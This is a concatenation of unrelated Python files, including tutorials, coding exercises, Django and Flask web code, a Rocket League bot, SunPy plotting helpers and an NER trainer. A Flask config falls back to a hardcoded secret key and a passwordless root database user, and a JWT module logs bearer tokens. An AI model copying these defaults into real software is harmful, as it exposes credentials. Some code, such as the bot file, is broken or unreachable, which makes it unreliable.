""" python open() 函数用于打开一个文件，创建一个 file 对象，相关的方法才可以调用它进行读写。 更多文件操作可参考：Python 文件I/O。 函数语法 open(name[, mode[, buffering]]) 参数说明： name : 一个包含了你要访问的文件名称的字符串值。 mode : mode 决定了打开文件的模式：只读，写入，追加等。所有可取值见如下的完全列表。这个参数是非强制的，默认文件访问模式为只读(r)。 buffering : 如果 buffering 的值被设为 0，就不会有寄存。如果 buffering 的值取 1，访问文件时会寄存行。如果将 buffering 的值设为大于 1 的整数，表明了这就是的寄存区的缓冲大小。如果取负值，寄存区的缓冲大小则为系统默认。 不同模式打开文件的完全列表： 模式 描述 r 以只读方式打开文件。文件的指针将会放在文件的开头。这是默认模式。 rb 以二进制格式打开一个文件用于只读。文件指针将会放在文件的开头。这是默认模式。 r+ 打开一个文件用于读写。文件指针将会放在文件的开头。 rb+ 以二进制格式打开一个文件用于读写。文件指针将会放在文件的开头。 w 打开一个文件只用于写入。如果该文件已存在则打开文件，并从开头开始编辑，即原有内容会被删除。如果该文件不存在，创建新文件。 wb 以二进制格式打开一个文件只用于写入。如果该文件已存在则打开文件，并从开头开始编辑，即原有内容会被删除。如果该文件不存在，创建新文件。 w+ 打开一个文件用于读写。如果该文件已存在则打开文件，并从开头开始编辑，即原有内容会被删除。如果该文件不存在，创建新文件。 wb+ 以二进制格式打开一个文件用于读写。如果该文件已存在则打开文件，并从开头开始编辑，即原有内容会被删除。如果该文件不存在，创建新文件。 a 打开一个文件用于追加。如果该文件已存在，文件指针将会放在文件的结尾。也就是说，新的内容将会被写入到已有内容之后。如果该文件不存在，创建新文件进行写入。 ab 以二进制格式打开一个文件用于追加。如果该文件已存在，文件指针将会放在文件的结尾。也就是说，新的内容将会被写入到已有内容之后。如果该文件不存在，创建新文件进行写入。 a+ 打开一个文件用于读写。如果该文件已存在，文件指针将会放在文件的结尾。文件打开时会是追加模式。如果该文件不存在，创建新文件用于读写。 ab+ 以二进制格式打开一个文件用于追加。如果该文件已存在，文件指针将会放在文件的结尾。如果该文件不存在，创建新文件用于读写。 file 对象方法 file.read([size])：size 未指定则返回整个文件，如果文件大小 >2 倍内存则有问题，f.read()读到文件尾时返回""(空字串)。 file.readline()：返回一行。 file.readlines([size]) ：返回包含size行的列表, size 未指定则返回全部行。 for line in f: print line ：通过迭代器访问。 f.write("hello\n")：如果要写入字符串以外的数据,先将他转换为字符串。 f.tell()：返回一个整数,表示当前文件指针的位置(就是到文件头的比特数)。 f.seek(偏移量,[起始位置])：用来移动文件指针。 偏移量: 单位为比特，可正可负 起始位置: 0 - 文件头, 默认值; 1 - 当前位置; 2 - 文件尾 f.close() 关闭文件 open(filename [, mode [, bufsize]]) 打开一个文件，返回一个file对象。 如果文件无法打开，将处罚IOError异常。 应该使用open()来代替直接使用file类型的构造函数打开文件。 参数filename表示将要被打开的文件的路径字符串； 参数mode表示打开的模式，最常用的模式有：'r'表示读文本，'w'表示写文本文件，'a'表示在文件中追加。 Mode的默认值是'r'。 当操作的是二进制文件时，只要在模式值上添加'b'。这样提高了程序的可移植性。 可选参数bufsize定义了文件缓冲区的大小。0表示不缓冲；1表示行缓冲；任何其他正数表示使用该大小的缓冲区； 负数表示使用系统默认缓冲区大小，对于tty设备它往往是行缓冲，而对于其他文件往往完全缓冲。如果参数值被省却。 使用系统默认值。 """ f = open("1.txt", "r", encoding="utf-8") print(f.read()) """ 输出... ltf zhongguo shanxi yuncheng 男 20 """ # 参考博客 https://www.cnblogs.com/Devilf/p/8006663.html
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"0", "6", "6", "6", "3", ".", "html", "Ċ" ]
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c0348fc5f51e6f7a191fea6d0e3cb84c60b03e22
""" Условие Дано два числа a и b. Выведите гипотенузу треугольника с заданными катетами. """ import math a = int(input()) b = int(input()) print(math.sqrt(a * a + b * b))
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8ac84aa29e9e4f3b85f1b3c27819feb5f41e8d8e
import os import factorStatFileCreator dirName = "NoPerms/" dirName2 = "AllPerms/" freqAgentDic = dict() lenAgentDic = dict() contAgentDic = dict() def freqModAvgFunc(dirName): fullList = factorStatFileCreator.directoryFreq(dirName) UA = dirName.split("/")[1] avgList = [] sum = 0 i = 0 while i <= len(fullList) - 2: diff = factorStatFileCreator.diffFunc(fullList[i], fullList[i + 1]) if diff == None: i += 1 else: avgList.append(int(diff)) i += 1 for item in avgList: sum += item if len(avgList) != 0: if UA not in freqAgentDic.keys(): freqAgentDic[UA] = [sum / len(avgList)] else: agentList = freqAgentDic[UA] agentList.append(sum / len(avgList)) freqAgentDic[UA] = agentList def finalFreqFunc(dirName): for filename in os.listdir(dirName): file = dirName + filename freqModAvgFunc(file) def printFreqDiff(): finalFreqFunc(dirName) finalFreqFunc(dirName2) # print (freqAgentDic) for keys, vals in freqAgentDic.items(): if len(vals) > 1 and vals[1] > 0: score = vals[0] / vals[1] print("{:<15}: {:.2f}".format(keys, score)) else: score = "N/A" print("{:<15}: {}".format(keys, score)) freqAgentDic[keys] = score return freqAgentDic def avgModFunc(directory): sum = 0 UA = directory.split("/")[1] byteList = factorStatFileCreator.directoryLen(directory) for item in byteList: sum += item if len(byteList) != 0: if UA not in lenAgentDic.keys(): lenAgentDic[UA] = [sum / len(byteList)] else: agentList = lenAgentDic[UA] agentList.append(sum / len(byteList)) lenAgentDic[UA] = agentList def finalLenFunc(dirName): for filename in os.listdir(dirName): file = dirName + filename avgModFunc(file) def printLenDiff(): finalLenFunc(dirName) finalLenFunc(dirName2) for keys, vals in lenAgentDic.items(): if len(vals) > 1 and vals[1] > 0: score = vals[1] / vals[0] print("{:<15}: {:.2f}".format(keys, score)) else: score = "N/A" print("{:<15}: {}".format(keys, score)) lenAgentDic[keys] = score return lenAgentDic def directoryModCont(directory): contentSet = set() newSet = set() listHolder = [] numofReq = 0 UA = directory.split("/")[1] for filename in os.listdir(directory): file = directory + "/" + filename listHolder = factorStatFileCreator.contentCommand(file) # print(newSet) newSet = listHolder[0] numofReq += len(listHolder[1]) contentSet = contentSet | newSet newSet = set() if UA not in contAgentDic.keys(): contAgentDic[UA] = [numofReq] else: agentList = contAgentDic[UA] agentList.append(numofReq) contAgentDic[UA] = agentList return contentSet, numofReq def finalContFunc(dirName): for filename in os.listdir(dirName): file = dirName + filename directoryModCont(file) def printContDiff(): finalContFunc(dirName) finalContFunc(dirName2) for keys, vals in contAgentDic.items(): if len(vals) > 1 and vals[1] > 0: score = vals[0] / vals[1] print("{:<15}: {:.2f}".format(keys, score)) else: score = "N/A" print("{:<15}: {}".format(keys, score)) contAgentDic[keys] = score return contAgentDic
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f733885eed5d1cbf6e49db0997655ad627c9d795
from django import template register = template.Library() @register.filter(name="range") def filter_range(start, end=None): if end is None: return range(start) else: return range(start, end)
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1a0d4e77f09b4ce752631ae36a83ff57f96b89b1
from rlbot.agents.base_agent import BaseAgent, GameTickPacket, SimpleControllerState # from rlbot.utils.structures.game_data_struct import GameTickPacket from Decisions.challengeGame import ChallengeGame from Decisions.info import MyInfo, Car from Decisions.strat import Strategy from Drawing.Drawing import DrawingTool from util.vec import Vec3 from Actions.Kickoff import kickoff from Actions.Chase import chase # Blue team's (0) goal is located at (0, -5120) # Orange (1) at (0, 5120) # ball R = 92 from rlbot.messages.flat.QuickChatSelection import QuickChatSelection from rlbot.utils.structures.game_data_struct import GameTickPacket from util.ball_prediction_analysis import find_slice_at_time from util.boost_pad_tracker import BoostPadTracker from util.drive import steer_toward_target from util.sequence import Sequence, ControlStep from util.vec import Vec3 import math import time from math import radians kickoff_location = Vec3(0, 0, 0) class MyBot(BaseAgent): def __init__(self, name, team, index): super().__init__(name, team, index) self.action: Action = kickoff self.info: GameInfo = None self.car: Car = None self.boost_pad_tracker = BoostPadTracker() self.stat: Strategy = None self.action: Action = None def initialize_agent(self): # Set up information about the boost pads now that the game is active and the info is available self.boost_pad_tracker.initialize_boosts(self.get_field_info()) self.info = MyInfo(self.team, self.index) self.strat = Strategy(self.info) self.car = Car() def get_output(self, packet: GameTickPacket) -> SimpleControllerState: """ This function will be called by the framework many times per second. This is where you can see the motion of the ball, etc. and return controls to drive your car. """ # Keep our boost pad info updated with which pads are currently active self.boost_pad_tracker.update_boost_status(packet) # self.info = self.info.read_packet(packet) self.car.updateCar(packet, self.index) self.info.read_packet(packet, self.get_ball_prediction_struct().slices) # print("in main target: {}".format(self.get_ball_prediction_struct().slices[0].physics.location)) # self.renderer.draw_line_3d(self.car.loc, target_location, self.renderer.white()) # self.renderer.draw_rect_3d(target_location, 8, 8, True, self.renderer.cyan(), centered=True) # cg = ChallengeGame(self.car, bp_struct) # print(cg.get_time_to_loc(cg.challenge_loc)) # This is good to keep at the beginning of get_output. It will allow you to continue # any sequences that you may have started during a previous call to get_output. if self.action is None: self.action = self.strat.chooseAction(self.info) controls = self.action.tick(self.info) print(controls.steer) return controls self.renderer.draw_string_3d(self.car.loc, 1, 1, f"Speed: {self.car.vel.length():.1f}", self.renderer.white()) if self.action.name: self.renderer.draw_string_3d(self.car.loc + Vec3(0, 0, 20), 1, 1, self.action.name, self.renderer.white()) if packet.game_info.is_kickoff_pause and not isinstance(self.action, kickoff): # self.logger.info(self.action) self.action = kickoff(self.car.loc) # print("Sequence is: {}".format(self.action)) # print("Sequence finished: {}".format(self.action.done)) controls = self.action.tick(self.info) return controls if self.action and not self.action.done: controls = self.action.tick(self.info) # print("action is: {}".format(self.action.name)) if controls is not None: return controls elif self.action.done: print("choosing new action") self.action = self.strat.chooseAction(self.info) controls = self.action.tick(self.info) return controls # Gather some information about our car and the ball ball_location = Vec3(packet.game_ball.physics.location) if self.car.loc.dist(ball_location) > 1500: # We're far away from the ball, let's try to lead it a little bit ball_prediction = self.get_ball_prediction_struct() # This can predict bounces, etc ball_in_future = find_slice_at_time(ball_prediction, packet.game_info.seconds_elapsed + 2) target_location = Vec3(ball_in_future.physics.location) self.renderer.draw_line_3d(ball_location, target_location, self.renderer.cyan()) else: target_location = ball_location # Draw some things to help understand what the bot is thinking # self.renderer.draw_string_2d(100, 100, 1, 1, f'Ball at: {ball_location}', self.renderer.white()) """ if 750 < self.car.vel.length() < 800: # We'll do a front flip if the car is moving at a certain speed. return self.begin_front_flip(packet) #controls = self.action.controls controls = SimpleControllerState() controls.steer = steer_toward_target(self.car, target_location) controls.throttle = 1.0 # You can set more controls if you want, like controls.boost. """ print("the fuck we doin here?!?!?!?") return controls def begin_front_flip(self, packet): # Send some quickchat just for fun self.send_quick_chat(team_only=False, quick_chat=QuickChatSelection.Information_IGotIt) # Do a front flip. We will be committed to this for a few seconds and the bot will ignore other # logic during that time because we are setting the action. self.action = Sequence( [ ControlStep(duration=0.05, controls=SimpleControllerState(jump=True)), ControlStep(duration=0.05, controls=SimpleControllerState(jump=False)), ControlStep(duration=0.2, controls=SimpleControllerState(jump=True, pitch=-1)), ControlStep(duration=0.8, controls=SimpleControllerState()), ] ) # Return the controls associated with the beginning of the sequence so we can start right away. return self.action.tick(packet) def is_kickoff(self, ball_location, ball_velocity): # self.logger.info(ball_location.flat() == kickoff_location) # self.logger.info(ball_velocity.length() == 0) return ball_location.flat() == kickoff_location and ball_velocity.length() == 0 """ class Bot(BaseAgent): DEVMODE = True def __init__(self, name, team, index): super().__init__(name, team, index) self.info: GameInfo = None self.draw: DrawingTool = None self.strat: Strategy = None self.car = None self.Actions: Maneuver = None self.controls: SimpleControllerState = SimpleControllerState() def initialize_agent(self): #self.logger.info(rlutilities.__file__) self.info = GameInfo(self.team) #for field in self.info._fields_: # print(field[0], getattr(self.info, field[0])) self.info.set_mode("soccar") self.draw = DrawingTool(self.renderer) self.car = self.info.cars[self.index] self.logger.info("my index is {}".format(self.index)) self.strat = Strategy(self.info, my_car) def get_output(self, packet: GameTickPacket): # Update game data variables if self.tick_counter < 20: self.tick_counter += 1 return Input() if self.Actions is None and not self.Actions.finished: controls = self.Action.tick(packet) self.info.read_packet(packet, self.get_field_info(), self.get_ball_path()) self.draw.draw_path(self.get_ball_path()) challenge = ChallengeGame(self.info.cars[self.index], self.info.ball_path) if challenge.should_go: self.Action = self.strat.chooseAction(challenge, self.info.ball_path) self.controls = self.Action.controls print(self.Action) if self.info.is_kickoff(): return self.do self.controls = self.action.doThing(self.info) if self.DEVMODE: self.Action.render(self.draw) challenge.render(self.draw) return self.controls def get_ball_path(self): ball_prediction = self.get_ball_prediction_struct() path = [] for i in range(0, ball_prediction.num_slices): prediction_slice = ball_prediction.slices[i] loc = prediction_slice.physics.location path.append(loc) return path """
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4a0eca90de3ce7fb0ab6decb0ec6aadb32c1a9fa
# Given two binary trees, write a function to check if they are equal or not. # # Two binary trees are considered equal if they are structurally identical and the nodes have the same value. # # Return 0 / 1 ( 0 for false, 1 for true ) for this problem # # Example : # # Input : # # 1 1 # / \ / \ # 2 3 2 3 # # Output : # 1 or True from Level6.Trees.BinaryTree import BinaryTree class Solution: def solution(self, rootA, rootB): if rootA == rootB: print("h") return True if rootA is None or rootB is None: return False # if rootA is None and rootB is None: # return True return (rootA.val == rootB.val) and self.solution(rootA.left, rootB.left) and self.solution(rootA.right, rootB.right) A = BinaryTree() A.insert(100) A.insert(102) A.insert(96) B = BinaryTree() B.insert(100) B.insert(102) B.insert(96) res = Solution().solution(A.root, B.root) print(res)
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0c1de2c1eb5a4de7aeb14ad6b27aa61e07bc4c51
from django.urls import path from .views import ( TreeCreateView, TreeListView, TreeUpdateView, ) app_name = "trees" urlpatterns = [ path("list/", TreeListView.as_view(), name="list"), path("create/", TreeCreateView.as_view(), name="create"), path("<int:pk>/update/", TreeCreateView.as_view(), name="update"), ]
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42d03aabef7d75c813f30bb6d8a835d76fd1fc83
start = 0 last = 100 middle = 50 counter = 1 print(" Guess a number between 0 and 100") condition = int( input("Is your guess " + str(middle) + "? (0 means it's too low, 1 means it's your guess and 2 means it's too high) ") ) while condition != 1: counter += 1 if condition == 0: last = middle elif condition == 2: start = middle middle = int((start + last) / 2) condition = int( input("Is your guess " + str(middle) + "? (0 means it's too low, 1 means it's your guess and 2 means it's too high) ") ) print("It took us {} guesses to get it right! Cheers!".format(counter))
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97d4387c7bfd141b5a7019b221adb550105d4351
import datetime import logging import os from functools import lru_cache from authlib.jose import JsonWebKey, jwt from flask import g, request, jsonify from lorem_ipsum.model import User, AppContext import lorem_ipsum from lorem_ipsum.model import Permission, BlacklistToken LOGGER = logging.getLogger("lorem-ipsum") def app_context(): if "app_context" not in g: g.app_context = lorem_ipsum.create_app_context() return g.app_context @lru_cache() def get_jwk(): LOGGER.debug("Loading jwk from public key...") key_data = None with open(app_context().config["jwk_public_key_path"], "rb") as _key_file: key_data = _key_file.read() LOGGER.debug(key_data) key = JsonWebKey.import_key(key_data, {"kty": "RSA"}) _jwks = {"keys": [{**key.as_dict(), "kid": "demo_key"}]} LOGGER.debug(_jwks) return _jwks class AuthenticationError(ValueError): pass class AuthorizationError(ValueError): pass class BearerTokenValidator: def __init__(self, access_token, app_context: AppContext): self.access_token = access_token user_service = app_context.user_service self.blacklist_token_repo = app_context.blacklist_token_repo self.payload = user_service.decode_auth_token(access_token, get_jwk()) def check_is_blacklisted(self): is_blacklisted_token = BlacklistToken.check_blacklist(self.access_token, self.blacklist_token_repo) if is_blacklisted_token: LOGGER.debug("Token blacklisted.") raise AuthenticationError("Invalid token.") return self def check_username_claim(self): if not self.payload.get("sub"): LOGGER.debug("Token missing sub.") raise AuthorizationError("Forbidden.") return self def check_user_exists(self, user): if not user: LOGGER.debug("Token user not found.") raise AuthorizationError("Forbidden.") return self def check_has_permissions(self, user: User, permissions: list): has_permissions = True for permission in permissions: if not user.role.has_permission(Permission.from_enum(permission)): LOGGER.debug(f"Missing permission {permission}.") has_permissions = False LOGGER.debug(f"Required permissions: {permissions}") if not has_permissions: raise AuthorizationError("Forbidden.") return self @staticmethod def from_authorization_header(authorization_header: str, app_context: AppContext): if not authorization_header: LOGGER.debug("Authorization header not found.") raise AuthenticationError("Invalid token.") if "Bearer " not in authorization_header: LOGGER.debug("Bearer token not found.") raise AuthenticationError("Invalid token.") access_token = authorization_header.split("Bearer")[1].strip() LOGGER.debug(f'Bearer token is:\n"{access_token}"') return BearerTokenValidator(access_token, app_context) def should_skip_auth(flask_request): """ Return true if should skip auth, e.g. when method is OPTIONS like when performing a React request. :param flask_request: Flask request. :return: """ return flask_request.method in ["HEAD", "OPTIONS"] def requires_permission(permissions: list): def requires_permission_decorator(function): def wrapper(*args, **kwargs): LOGGER.info(f"Authorization...\n{request.headers}") if should_skip_auth(request): return jsonify("ok") authorization_header = request.headers.get("Authorization") context = app_context() with context.transaction_manager.transaction: bearer_token_validator = ( BearerTokenValidator.from_authorization_header(authorization_header, context) .check_is_blacklisted() .check_username_claim() ) user = context.user_repo.get(username=bearer_token_validator.payload["sub"]) bearer_token_validator.check_user_exists(user).check_has_permissions(user, permissions) g.access_token = bearer_token_validator.access_token g.user = user _result = function(*args, **kwargs) return _result wrapper.__name__ = function.__name__ return wrapper return requires_permission_decorator class ExceptionHandlers: def __init__(self, app): @app.errorhandler(AuthorizationError) def handle_authorization_exception(e): """Return403 forbidden.""" return jsonify(str(e)), 403 @app.errorhandler(AuthenticationError) def handle_authentication_exception(e): """Return401 authentication error.""" return jsonify(str(e)), 401 @lru_cache() def jwk_key(): jwk_path = os.environ.get("jwk_private_key_path") or app_context().config["jwk_private_key_path"] with open(jwk_path, "rb") as f: key = JsonWebKey.import_key(f.read()) return key def new_token(payload: dict): key = jwk_key() header = {"alg": "RS256", "kid": "demo_key"} token = jwt.encode(header, payload, key) LOGGER.debug(token) return token.decode("utf-8") def issue_token_for_user(user: User): access_token = new_token( { "iss": "lorem.ipsum.dev", "aud": "lorem.ipsum.auth", "sub": user.username, "email": user.email, "roles": [user.role.name], "exp": datetime.datetime.now(tz=datetime.timezone.utc) + datetime.timedelta(hours=4), "iat": datetime.datetime.now(tz=datetime.timezone.utc), } ) return access_token
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be1ef0aa3868985bf198781ee827bd447588df15
""" This module provides functions to make WCSAxes work in SunPy. """ import matplotlib.pyplot as plt from packaging.version import Version import astropy.units as u from astropy import __version__ as astropy_version from astropy.visualization import wcsaxes from sunpy.coordinates import HeliographicCarrington, HeliographicStonyhurst __all__ = ["is_wcsaxes", "gca_wcs", "get_world_transform", "default_wcs_grid", "wcsaxes_heliographic_overlay"] def is_wcsaxes(axes): """ Tests a `matplotlib.axes.Axes` object to see if it is an instance of `~astropy.visualization.wcsaxes.WCSAxes`. Parameters ---------- axes : `matplotlib.axes` Axes to test. Returns ------- `bool` Result of the test. """ return isinstance(axes, wcsaxes.WCSAxes) def gca_wcs(wcs, fig=None, slices=None): """ Get the current axes, or create a new `~astropy.visualization.wcsaxes.WCSAxes` if ``fig`` has no axes. Parameters ---------- wcs : `astropy.wcs.WCS` A `~astropy.wcs.WCS` object used to create a new axes. fig : `matplotlib.figure.Figure` The figure in which to check for the axes. If ``None``, the current figure is used (or a new one created if there are no current figures). slices : `tuple` ``slices`` is passed to `~astropy.visualization.wcsaxes.WCSAxes` to describe which two dimensions of the `~astropy.wcs.WCS` object are being plotted. This slices the multidimensional wcs object in the way it needs to be sliced. Returns ------- `matplotlib.axes.Axes` or `~astropy.visualization.wcsaxes.WCSAxes` The current axes, or a new one if created. """ if not fig: fig = plt.gcf() if not len(fig.get_axes()): ax = plt.axes(projection=wcs, slices=slices) else: ax = plt.gca() return ax def get_world_transform(axes): """ Get the transformation to world coordinates. If the axes is a `~astropy.visualization.wcsaxes.WCSAxes` instance this returns the transform to the "world" coordinates, otherwise it returns the transform to the matplotlib data coordinates, which are assumed to be in world coordinates. Parameters ---------- axes : `~astropy.visualization.wcsaxes.WCSAxes` or `~matplotlib.axes.Axes` The axes to get the transform from. Returns ------- `~matplotlib.transforms.CompositeGenericTransform` The transformation object. """ if is_wcsaxes(axes): transform = axes.get_transform("world") else: transform = axes.transData return transform def default_wcs_grid(axes): """ Apply some default `~astropy.visualization.wcsaxes.WCSAxes` grid formatting. Parameters ---------- axes : `~astropy.visualization.wcsaxes.WCSAxes` The `~astropy.visualization.wcsaxes.WCSAxes` object to draw the world coordinate grid on. """ axes.coords.grid(color="white", alpha=0.6, linestyle="dotted", linewidth=0.5) @u.quantity_input def wcsaxes_heliographic_overlay( axes, grid_spacing: u.deg = 10 * u.deg, annotate=True, obstime=None, rsun=None, observer=None, system="stonyhurst", **kwargs ): """ Create a heliographic overlay using `~astropy.visualization.wcsaxes.WCSAxes`. Will draw a grid and label the top axes. Parameters ---------- axes : `~astropy.visualization.wcsaxes.WCSAxes` The `~astropy.visualization.wcsaxes.WCSAxes` object to create the overlay on. grid_spacing: `~astropy.units.Quantity` Spacing for longitude and latitude grid in degrees. annotate : `bool` Passing `False` disables the axes labels and the ticks on the top and right axes. obstime : `~astropy.time.Time` The ``obstime`` to use for the grid coordinate frame. rsun : `~astropy.units.Quantity` The ``rsun`` to use for the grid coordinate frame. observer : `~astropy.coordinates.SkyCoord` The ``observer`` to use for the grid coordinate frame. Only used for Carrington coordinates. system : str Coordinate system for the grid. Must be 'stonyhurst' or 'carrington'. If 'carrington', the ``observer`` keyword argument must be specified. kwargs : Additional keyword arguments are passed to :meth:`astropy.visualization.wcsaxes.CoordinateHelper.grid`. Returns ------- `~astropy.visualization.wcsaxes.WCSAxes` The overlay object. Notes ----- Keywords are passed to `~astropy.visualization.wcsaxes.coordinates_map.CoordinatesMap.grid`. """ # Unpack spacing if isinstance(grid_spacing, u.Quantity) and grid_spacing.size == 1: lon_space = lat_space = grid_spacing elif grid_spacing.size == 2: lon_space, lat_space = grid_spacing else: raise ValueError("grid_spacing must be a Quantity of length one or two.") if system == "stonyhurst": overlay = axes.get_coords_overlay(HeliographicStonyhurst(obstime=obstime, rsun=rsun)) elif system == "carrington": overlay = axes.get_coords_overlay(HeliographicCarrington(obstime=obstime, observer=observer, rsun=rsun)) else: raise ValueError(f"system must be 'stonyhurst' or 'carrington' (got '{system}')") # Set the native coordinates to be bottom and left only so they don't share # axes with the overlay. c1, c2 = axes.coords c1.set_ticks_position("bl") c2.set_ticks_position("bl") lon = overlay[0] lat = overlay[1] # TODO: Remove when we depend on astropy 5.3 if Version(astropy_version) >= Version("5.3.dev"): lon.coord_wrap = 180 * u.deg else: lon.coord_wrap = 180 lon.set_major_formatter("dd") if annotate: lon.set_axislabel(f"{system.capitalize()} Longitude", minpad=0.8) lat.set_axislabel(f"{system.capitalize()} Latitude", minpad=0.9) lon.set_ticks_position("tr") lat.set_ticks_position("tr") else: lat.set_ticks_visible(False) lon.set_ticks_visible(False) lat.set_ticklabel_visible(False) lon.set_ticklabel_visible(False) grid_kw = {"color": "white", "zorder": 100, "alpha": 0.5} grid_kw.update(kwargs) # Don't plot white ticks by default (only if explicitly asked) tick_color = grid_kw["color"] if "color" in kwargs else "k" lon.set_ticks(spacing=lon_space, color=tick_color) lat.set_ticks(spacing=lat_space, color=tick_color) overlay.grid(**grid_kw) if axes.title: x, y = axes.title.get_position() axes.title.set_position([x, y + 0.08]) return overlay
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af9b83b6e213359f5e193918b6c09c22220e5457
# crfで英文に固有表現認識（タグ付け）をする # usr/bin/python3 # coding:utf-8 from itertools import chain from sklearn.metrics import classification_report, confusion_matrix from sklearn.preprocessing import LabelBinarizer import sklearn import pycrfsuite from sklearn import cross_validation import sys import os import math import random def word2features(sent, i): word = sent[i][0] tag = sent[i][1] features = [ "bias", "word.lower=" + word.lower(), "word[-3:]=" + word[-3:], "word[-2:]=" + word[-2:], "word.isupper=%s" % word.isupper(), "word.istitle=%s" % word.istitle(), "word.isdigit=%s" % word.isdigit(), #'tag=' + tag, #'tag[:2]=' + tag[:2], ] if i > 0: word1 = sent[i - 1][0] tag1 = sent[i - 1][1] features.extend( [ "-1:word.lower=" + word1.lower(), "-1:word.istitle=%s" % word1.istitle(), "-1:word.isupper=%s" % word1.isupper(), "-1:tag=" + tag1, "-1:tag[:2]=" + tag1[:2], ] ) else: features.append("BOS") if i < len(sent) - 1: word1 = sent[i + 1][0] tag1 = sent[i + 1][1] features.extend( [ "+1:word.lower=" + word1.lower(), "+1:word.istitle=%s" % word1.istitle(), "+1:word.isupper=%s" % word1.isupper(), #'+1:tag=' + tag1, # s'+1:tag[:2]=' + tag1[:2], ] ) else: features.append("EOS") return features def sent2features(sent): return [word2features(sent, i) for i in range(len(sent))] def sent2labels(sent): return [label for token, label in sent] def sent2tokens(sent): return [token for token, label in sent] def bio_classification_report(y_true, y_pred): """ Classification report for a list of BIO-encoded sequences. It computes token-level metrics and discards "O" labels. Note that it requires scikit-learn 0.15+ (or a version from github master) to calculate averages properly! """ lb = LabelBinarizer() y_true_combined = lb.fit_transform(list(chain.from_iterable(y_true))) y_pred_combined = lb.transform(list(chain.from_iterable(y_pred))) tagset = set(lb.classes_) - {"O"} # tagset = set(lb.classes_) tagset = sorted(tagset, key=lambda tag: tag.split("-", 1)[::-1]) class_indices = {cls: idx for idx, cls in enumerate(lb.classes_)} return classification_report( y_true_combined, y_pred_combined, labels=[class_indices[cls] for cls in tagset], target_names=tagset, ) def main(): argv = sys.argv dirname = argv[1] model = str(argv[2]) # 全部読む files = os.listdir(dirname) sentences = [] # sentenceごとに読み込み。 for filename in files: doc = open(dirname + filename, "r") tmp = [] # 文ごとにまとめてから追加する for line in doc: if line != "\n": word, tag = line.split("\t") tmp.append((word, tag[:-1])) else: sentences.append(tmp) tmp = [] # for line in sentences: # print(line) sum_of_sencences = len(sentences) # print("sentences: "+str(len(sentences))) # print(sentences[0]) # sentenceをランダムに入れ替え random.shuffle(sentences) # ->変数代入するのではなく、元のリストがソートされる # print(sentences[0]) # sentenceをtrain, testに分割 test_size = math.floor(sum_of_sencences * 0.9) test = sentences[0] test_sents = sentences[1:test_size] train_sents = sentences[test_size + 1 :] """ #クロスバリデーションしてみる #モデルの問題？ """ X_train = [sent2features(s) for s in train_sents] y_train = [sent2labels(s) for s in train_sents] X_test = [sent2features(s) for s in test_sents] y_test = [sent2labels(s) for s in test_sents] # 学習データと同一のトークンータグが含まれているかチェック trainer = pycrfsuite.Trainer(verbose=False) for xseq, yseq in zip(X_train, y_train): trainer.append(xseq, yseq) trainer.set_params( { "c1": 1.0, # coefficient for L1 penalty "c2": 1e-3, # coefficient for L2 penalty "max_iterations": 100, # stop earlier # include transitions that are possible, but not observed "feature.possible_transitions": True, } ) # print(trainer.params()) trainer.train(model) # print(len(trainer.logparser.iterations), trainer.logparser.iterations[-1]) tagger = pycrfsuite.Tagger() tagger.open(model) example_sent = test for sentence in test_sents: for token, correct, predict in zip(sent2tokens(sentence), sent2labels(sentence), tagger.tag(sent2features(sentence))): print(token + "\t" + correct + "\t" + predict) print() """ print(' '.join(sent2tokens(example_sent)), end='\n\n') print("Predicted:", ' '.join(tagger.tag(sent2features(example_sent)))) print("Correct: ", ' '.join(sent2labels(example_sent))) """ # テストの中に、トレインのものがあるかチェック y_pred = [tagger.tag(xseq) for xseq in X_test] # print(bio_classification_report(y_test, y_pred)) if __name__ == "__main__": main()
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2536b22c2d154e87bdecb72cc967d8c56ddb73fb
import os from pathlib import Path import Algorithmia API_KEY = os.environ.get("ALGO_API_KEY") DATA_DIR_BASE = os.environ.get("DATA_DIR") ORIGINAL_DATA_DIR = DATA_DIR_BASE + "original/" TRANSFERD_DATA_DIR = DATA_DIR_BASE + "transferd/" def upload(client, fnames): for im in fnames: im = Path(im) client.file(ORIGINAL_DATA_DIR + str(im.name)).put(im.read_bytes()) def download(client, folder): folder = Path(folder) transfered = client.dir(TRANSFERD_DATA_DIR) for im in transfered.files(): (folder / Path(im.url).name).write_bytes(im.getBytes()) def style_transfer(fnames, out_folder, filter_name): client = Algorithmia.client(API_KEY) client.dir(ORIGINAL_DATA_DIR).create() client.dir(TRANSFERD_DATA_DIR).create() upload(client, fnames) inputs = { "images": [ORIGINAL_DATA_DIR + Path(im).name for im in fnames], "savePaths": [TRANSFERD_DATA_DIR + Path(im).name for im in fnames], "filterName": filter_name, } algorithm_name = "deeplearning/DeepFilter/0.6.0" algo = client.algo(algorithm_name) result = algo.pipe(inputs).result download(client, out_folder) return result
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8a631adc8d919fb1dded27177818c4cb30148e94
# 효율적인 해킹 # https://www.acmicpc.net/problem/1325 from collections import deque import sys input = sys.stdin.readline n, m = map(int, input().split()) graph = [[] for _ in range(n + 1)] for _ in range(m): a, b = map(int, input().split()) graph[b].append(a) # B를 해킹하면 A도 해킹할 수 있다 def bfs(start): visited = [False] * (n + 1) visited[start] = True q = deque() q.append(start) cnt = 1 # start를 해킹했을 때 해킹할 수 있는 컴퓨터의 개수 while q: now = q.popleft() for i in graph[now]: if not visited[i]: visited[i] = True q.append(i) cnt += 1 return cnt answer = [] max_cnt = 0 for i in range(1, n + 1): result = bfs(i) if result > max_cnt: answer = [i] max_cnt = result elif result == max_cnt: answer.append(i) print(*answer)
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833923c1928862e13c24904f5614927a683b168f
import os class Config(object): """Base Config Object""" DEBUG = False SECRET_KEY = os.environ.get("SECRET_KEY") or "Som3$ec5etK*y" UPLOAD_FOLDER = "./uploads" dbconfig = { "host": os.environ.get("MYSQL_HOST") or "localhost", "user": os.environ.get("MYSQL_USER") or "root", "password": os.environ.get("MYSQL_PASSWORD") or "", "db": os.environ.get("MYSQL_DB") or "finalproject2.sql", } class DevelopmentConfig(Config): """Development Config that extends the Base Config Object""" DEVELOPMENT = True DEBUG = True class ProductionConfig(Config): """Production Config that extends the Base Config Object""" DEBUG = False
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1748c8dfcc3974b577d7bfacb5cabe4404b696bc
